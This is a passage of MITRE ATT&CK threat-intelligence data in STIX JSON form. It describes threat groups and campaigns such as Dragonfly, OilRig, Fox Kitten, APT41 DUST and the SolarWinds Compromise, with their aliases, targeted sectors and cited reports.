IBM Ransomware Trends September 2020)"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"FireEye FIN7 March 2017","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"},{"source_name":"IBM Ransomware Trends September 2020","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-21T07:12:01.955Z","name":"APT41 DUST","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) was conducted by [APT41](https://attack.mitre.org/groups/G0096) from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. [APT41 DUST](https://attack.mitre.org/campaigns/C0040) targeted sectors such as shipping, logistics, and media for information gathering purposes. [APT41](https://attack.mitre.org/groups/G0096) used previously-observed malware such as [DUSTPAN](https://attack.mitre.org/software/S1158) as well as newly observed tools such as [DUSTTRAP](https://attack.mitre.org/software/S1159) in [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)","aliases":["APT41 DUST"],"first_seen":"2023-01-31T23:00:00.000Z","last_seen":"2024-06-30T22:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Google Cloud APT41 2024)","x_mitre_last_seen_citation":"(Citation: Google Cloud APT41 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--add4d9de-1256-4166-83b8-57087288dced","created":"2024-09-16T09:05:01.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0040","external_id":"C0040"},{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"aliases":["WIRTE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Lab52 by S2 Grupo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","created":"2019-05-24T17:02:44.226Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0090","url":"https://attack.mitre.org/groups/G0090"},{"source_name":"WIRTE","description":"(Citation: Lab52 WIRTE Apr 2019)"},{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."},{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:50:19.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"WIRTE","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Service Metadata","description":"Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.","x_mitre_data_source_ref":"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-10T16:19:33.560Z","name":"FunnyDream","description":"[FunnyDream](https://attack.mitre.org/campaigns/C0007) was a suspected Chinese cyber espionage campaign that targeted government and foreign organizations in Malaysia, the Philippines, Taiwan, Vietnam, and other parts of Southeast Asia. Security researchers linked the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign to possible Chinese-speaking threat actors through the use of the [Chinoxy](https://attack.mitre.org/software/S1041) backdoor and noted infrastructure overlap with the TAG-16 threat group.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: Kaspersky APT Trends Q1 2020)(Citation: Recorded Future Chinese Activity in Southeast Asia December 2021)","aliases":["FunnyDream"],"first_seen":"2018-07-01T05:00:00.000Z","last_seen":"2020-11-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Kaspersky APT Trends Q1 2020)","x_mitre_last_seen_citation":"(Citation: Bitdefender FunnyDream Campaign November 2020)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","created":"2022-09-20T17:29:09.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0007","external_id":"C0007"},{"source_name":"Kaspersky APT Trends Q1 2020","description":"Global Research and Analysis Team. (2020, April 30). APT trends report Q1 2020. Retrieved September 19, 2022.","url":"https://securelist.com/apt-trends-report-q1-2020/96826/"},{"source_name":"Recorded Future Chinese Activity in Southeast Asia December 2021","description":"Insikt Group. (2021, December 8). Chinese State-Sponsored Cyber Espionage Activity Supports Expansion of Regional Power and Influence in Southeast Asia. Retrieved September 19, 2022.","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-01-08T20:40:31.822Z","name":"Dragonfly","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)","aliases":["Dragonfly","TEMP.Isotope","DYMALLOY","Berserk Bear","TG-4192","Crouching Yeti","IRON LIBERTY","Energetic Bear","Ghost Blizzard","BROMINE"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Dragos Threat Intelligence"],"type":"intrusion-set","id":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","created":"2017-05-31T21:32:05.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0035","external_id":"G0035"},{"source_name":"DYMALLOY","description":"(Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Berserk Bear","description":"(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"TEMP.Isotope","description":"(Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021)"},{"source_name":"Ghost Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"BROMINE","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Crouching Yeti","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"IRON LIBERTY","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"TG-4192","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Dragonfly","description":"(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Energetic Bear","description":"(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"CISA AA20-296A Berserk Bear December 2020","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions"},{"source_name":"DOJ Russia Targeting Critical Infrastructure March 2022","description":"Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022.","url":"https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical"},{"source_name":"Dragos DYMALLOY ","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.","url":"https://www.dragos.com/threat/dymalloy/"},{"source_name":"Fortune Dragonfly 2.0 Sept 2017","description":"Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.","url":"http://fortune.com/2017/09/06/hack-energy-grid-symantec/"},{"source_name":"Mandiant Ukraine Cyber Threats January 2022","description":"Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.","url":"https://www.mandiant.com/resources/ukraine-crisis-cyber-threats"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Secureworks MCMD July 2019","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.","url":"https://www.secureworks.com/research/mcmd-malware-analysis"},{"source_name":"Secureworks IRON LIBERTY July 2019","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector"},{"source_name":"Secureworks Karagany July 2019","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector"},{"source_name":"Gigamon Berserk Bear October 2021","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf"},{"source_name":"Symantec Dragonfly Sept 2017","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"},{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Symantec Dragonfly 2.0 October 2017","description":"Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks"},{"source_name":"UK GOV FSB Factsheet April 2022","description":"UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.","url":"https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"File Access","description":"Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-07T16:15:56.932Z","name":"Process Creation","description":"The initial construction of an executable managed by the OS, that may involve one or more tasks or threads. (e.g. Win EID 4688, Sysmon EID 1, cmd.exe > net use, etc.)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T20:33:04.739Z","name":"OilRig","description":"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)","aliases":["OilRig","COBALT GYPSY","IRN2","APT34","Helix Kitten","Evasive Serpens","Hazel Sandstorm","EUROPIUM","ITG13"],"x_mitre_deprecated":false,"x_mitre_version":"4.1","x_mitre_contributors":["Robert Falcone","Bryan Lee","Dragos Threat Intelligence"],"type":"intrusion-set","id":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0049","external_id":"G0049"},{"source_name":"IRN2","description":"(Citation: Crowdstrike Helix Kitten Nov 2018)"},{"source_name":"ITG13","description":"(Citation: IBM ZeroCleare Wiper December 2019)"},{"source_name":"Hazel Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"EUROPIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"OilRig","description":"(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"},{"source_name":"COBALT GYPSY","description":"(Citation: Secureworks COBALT GYPSY Threat Profile)"},{"source_name":"Helix Kitten","description":"(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"},{"source_name":"Evasive Serpens","description":"(Citation: Unit42 OilRig Playbook 2023)"},{"source_name":"Check Point APT34 April 2021","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"},{"source_name":"ClearSky OilRig Jan 2017","description":"ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.","url":"http://www.clearskysec.com/oilrig/"},{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"source_name":"Palo Alto OilRig April 2017","description":"Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"},{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"},{"source_name":"Crowdstrike Helix Kitten Nov 2018","description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"},{"source_name":"Secureworks COBALT GYPSY Threat Profile","description":"Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.","url":"https://www.secureworks.com/research/threat-profiles/cobalt-gypsy"},{"source_name":"APT34","description":"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)"},{"source_name":"Unit 42 Playbook Dec 2017","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","url":"https://pan-unit42.github.io/playbook_viewer/"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Equation"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","type":"intrusion-set","created":"2017-05-31T21:31:54.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0020","external_id":"G0020"},{"source_name":"Equation","description":"(Citation: Kaspersky Equation QA)"},{"source_name":"Kaspersky Equation QA","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}],"modified":"2020-06-29T01:39:22.044Z","name":"Equation","description":"[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T22:00:34.410Z","name":"Fox Kitten","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)","aliases":["Fox Kitten","UNC757","Parisite","Pioneer Kitten","RUBIDIUM","Lemon Sandstorm"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","type":"intrusion-set","id":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","created":"2020-12-21T21:49:47.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0117","external_id":"G0117"},{"source_name":"UNC757","description":"(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"},{"source_name":"Pioneer Kitten","description":"(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)"},{"source_name":"Parisite","description":"(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"},{"source_name":"RUBIDIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Lemon Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a"},{"source_name":"ClearSky Pay2Kitten December 2020","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf"},{"source_name":"ClearkSky Fox Kitten February 2020","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020.","url":"https://www.clearskysec.com/fox-kitten/"},{"source_name":"Dragos PARISITE ","description":"Dragos. (n.d.). PARISITE. Retrieved December 21, 2020.","url":"https://www.dragos.com/threat/parisite/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"CrowdStrike PIONEER KITTEN August 2020","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-03T18:50:55.787Z","name":"SolarWinds Compromise","description":"The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) ","aliases":["SolarWinds Compromise"],"first_seen":"2019-08-01T05:00:00.000Z","last_seen":"2021-01-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Unit 42 SolarStorm December 2020)","x_mitre_last_seen_citation":"(Citation: MSTIC NOBELIUM May 